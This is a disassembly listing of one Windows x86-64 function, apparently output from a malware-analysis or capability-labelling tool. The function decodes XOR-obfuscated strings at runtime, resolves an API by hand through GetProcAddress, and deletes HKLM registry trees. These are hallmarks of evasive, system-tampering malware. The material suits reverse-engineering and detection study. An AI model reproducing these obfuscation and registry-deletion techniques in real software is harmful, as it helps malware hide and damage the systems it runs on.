Function at 0x140001dc0
Capabilities:
Delete registry key
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x288
mov rax, qword [0x140034040]
xor rax, rsp
mov qword [rsp + 0x278], rax
mov dword [rsp + 0xe0], 0
lea rax, [rsp + 0x78]
lea rcx, str._BSTU
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 9
movsx eax, byte [rsp + rax + 0x78]
test eax, eax
je 0x140001e20
mov dword [rsp + 0x40], 1
jmp 0x140001e28
mov dword [rsp + 0x40], 0
movzx eax, byte [rsp + 0x40]
test eax, eax
je 0x140001e7e
mov dword [rsp + 0x2c], 0
jmp 0x140001e45
mov eax, dword [rsp + 0x2c]
inc eax
mov dword [rsp + 0x2c], eax
cmp dword [rsp + 0x2c], 0xa
jge 0x140001e7e
movsxd rax, dword [rsp + 0x2c]
movsx eax, byte [rsp + rax + 0x78]
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x2c]
cdq
mov ecx, 0x35
idiv ecx
mov eax, edx
add eax, 0x35
mov ecx, dword [rsp + 0x60]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x2c]
mov byte [rsp + rcx + 0x78], al
jmp 0x140001e3b
lea rax, [rsp + 0x78]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0xb0], rax
cmp qword [rsp + 0xb0], 0
jne 0x140001ea6
xor al, al
jmp 0x1400024c4
lea rax, [rsp + 0x1b0]
lea rcx, str.idR_PIONDbr__
mov rdi, rax
mov rsi, rcx
mov ecx, 0x6a
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 0x34
movzx eax, word [rsp + rax + 0x1b0]
test eax, eax
je 0x140001ee1
mov dword [rsp + 0x44], 1
jmp 0x140001ee9
mov dword [rsp + 0x44], 0
movzx eax, byte [rsp + 0x44]
test eax, eax
je 0x140001f46
mov dword [rsp + 0x30], 0
jmp 0x140001f06
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0x35
jge 0x140001f46
movsxd rax, dword [rsp + 0x30]
movzx eax, word [rsp + rax*2 + 0x1b0]
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x30]
cdq
mov ecx, 0x35
idiv ecx
mov eax, edx
add eax, 0x35
mov ecx, dword [rsp + 0x64]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x30]
mov word [rsp + rcx*2 + 0x1b0], ax
jmp 0x140001efc
lea rax, [rsp + 0x1b0]
mov r8, qword [rsp + 0x2a0]
mov rdx, rax
lea rcx, [rsp + 0x248]
call fcn.140002890
nop
lea rax, [rsp + 0x248]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x88]
cmp qword [rax + 0x18], 7
jbe 0x140001fa0
mov dword [rsp + 0x48], 1
jmp 0x140001fa8
mov dword [rsp + 0x48], 0
movzx eax, byte [rsp + 0x48]
mov byte [rsp + 0x20], al
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x140001fdd
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0xf8], rax
mov rdx, qword [rsp + 0xf8]
lea rcx, [rsp + 0x268]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rsp + 0x160]
lea rcx, str.fodlwg
mov rdi, rax
mov rsi, rcx
mov ecx, 0x46
rep movsb byte [rdi], byte [rsi]
mov eax, 2
imul rax, rax, 0x22
movzx eax, word [rsp + rax + 0x160]
test eax, eax
je 0x14000204e
mov dword [rsp + 0x4c], 1
jmp 0x140002056
mov dword [rsp + 0x4c], 0
movzx eax, byte [rsp + 0x4c]
test eax, eax
je 0x1400020b3
mov dword [rsp + 0x34], 0
jmp 0x140002073
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0x23
jge 0x1400020b3
movsxd rax, dword [rsp + 0x34]
movzx eax, word [rsp + rax*2 + 0x160]
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x34]
cdq
mov ecx, 0x35
idiv ecx
mov eax, edx
add eax, 0x35
mov ecx, dword [rsp + 0x68]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x34]
mov word [rsp + rcx*2 + 0x160], ax
jmp 0x140002069
lea rax, [rsp + 0x160]
mov r8, qword [rsp + 0x2a0]
mov rdx, rax
lea rcx, [rsp + 0x228]
call fcn.140002890
nop
lea rax, [rsp + 0x228]
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0x90]
cmp qword [rax + 0x18], 7
jbe 0x14000210d
mov dword [rsp + 0x50], 1
jmp 0x140002115
mov dword [rsp + 0x50], 0
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x21], al
movzx eax, byte [rsp + 0x21]
test eax, eax
je 0x14000214a
mov rax, qword [rsp + 0x90]
mov rax, qword [rax]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x110], rax
lea r8, [rsp + 0x220]
mov rdx, qword [rsp + 0x110]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x3c], 0
je 0x1400021ed
cmp dword [rsp + 0x3c], 2
jne 0x1400021c3
mov byte [rsp + 0x22], 1
lea rcx, [rsp + 0x228]
call fcn.140002620
nop
lea rcx, [rsp + 0x248]
call fcn.140002620
movzx eax, byte [rsp + 0x22]
jmp 0x1400024c4
mov byte [rsp + 0x23], 0
lea rcx, [rsp + 0x228]
call fcn.140002620
nop
lea rcx, [rsp + 0x248]
call fcn.140002620
movzx eax, byte [rsp + 0x23]
jmp 0x1400024c4
mov rcx, qword [rsp + 0x220]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0xd0]
lea rcx, str.BbVUUZXyLV6_0C
mov rdi, rax
mov rsi, rcx
mov ecx, 0xf
rep movsb byte [rdi], byte [rsi]
mov eax, 1
imul rax, rax, 0xe
movsx eax, byte [rsp + rax + 0xd0]
test eax, eax
je 0x140002236
mov dword [rsp + 0x54], 1
jmp 0x14000223e
mov dword [rsp + 0x54], 0
movzx eax, byte [rsp + 0x54]
test eax, eax
je 0x14000229a
mov dword [rsp + 0x38], 0
jmp 0x14000225b
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0xf
jge 0x14000229a
movsxd rax, dword [rsp + 0x38]
movsx eax, byte [rsp + rax + 0xd0]
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x38]
cdq
mov ecx, 0x35
idiv ecx
mov eax, edx
add eax, 0x35
mov ecx, dword [rsp + 0x6c]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x38]
mov byte [rsp + rcx + 0xd0], al
jmp 0x140002251
lea rax, [rsp + 0xd0]
mov rdx, rax
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0x268]
call qword [rsp + 0x120]
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 0
je 0x1400023c2
lea rax, [rsp + 0x228]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x98]
cmp qword [rax + 0x18], 7
jbe 0x140002322
mov dword [rsp + 0x58], 1
jmp 0x14000232a
mov dword [rsp + 0x58], 0
movzx eax, byte [rsp + 0x58]
mov byte [rsp + 0x24], al
movzx eax, byte [rsp + 0x24]
test eax, eax
je 0x14000235f
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x138], rax
mov rdx, qword [rsp + 0x138]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
mov dword [rsp + 0x3c], eax
mov byte [rsp + 0x25], 0
lea rcx, [rsp + 0x228]
call fcn.140002620
nop
lea rcx, [rsp + 0x248]
call fcn.140002620
movzx eax, byte [rsp + 0x25]
jmp 0x1400024c4
lea rax, [rsp + 0x228]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xa0]
cmp qword [rax + 0x18], 7
jbe 0x1400023fb
mov dword [rsp + 0x5c], 1
jmp 0x140002403
mov dword [rsp + 0x5c], 0
movzx eax, byte [rsp + 0x5c]
mov byte [rsp + 0x26], al
movzx eax, byte [rsp + 0x26]
test eax, eax
je 0x140002438
mov rax, qword [rsp + 0xa0]
mov rax, qword [rax]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x150], rax
mov rdx, qword [rsp + 0x150]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x3c], 0
je 0x14000249f
mov byte [rsp + 0x27], 0
lea rcx, [rsp + 0x228]
call fcn.140002620
nop
lea rcx, [rsp + 0x248]
call fcn.140002620
movzx eax, byte [rsp + 0x27]
jmp 0x1400024c4
mov byte [rsp + 0x28], 1
lea rcx, [rsp + 0x228]
call fcn.140002620
nop
lea rcx, [rsp + 0x248]
call fcn.140002620
movzx eax, byte [rsp + 0x28]
mov rcx, qword [rsp + 0x278]
xor rcx, rsp
call fcn.14002b1c0
add rsp, 0x288
pop rdi
pop rsi
ret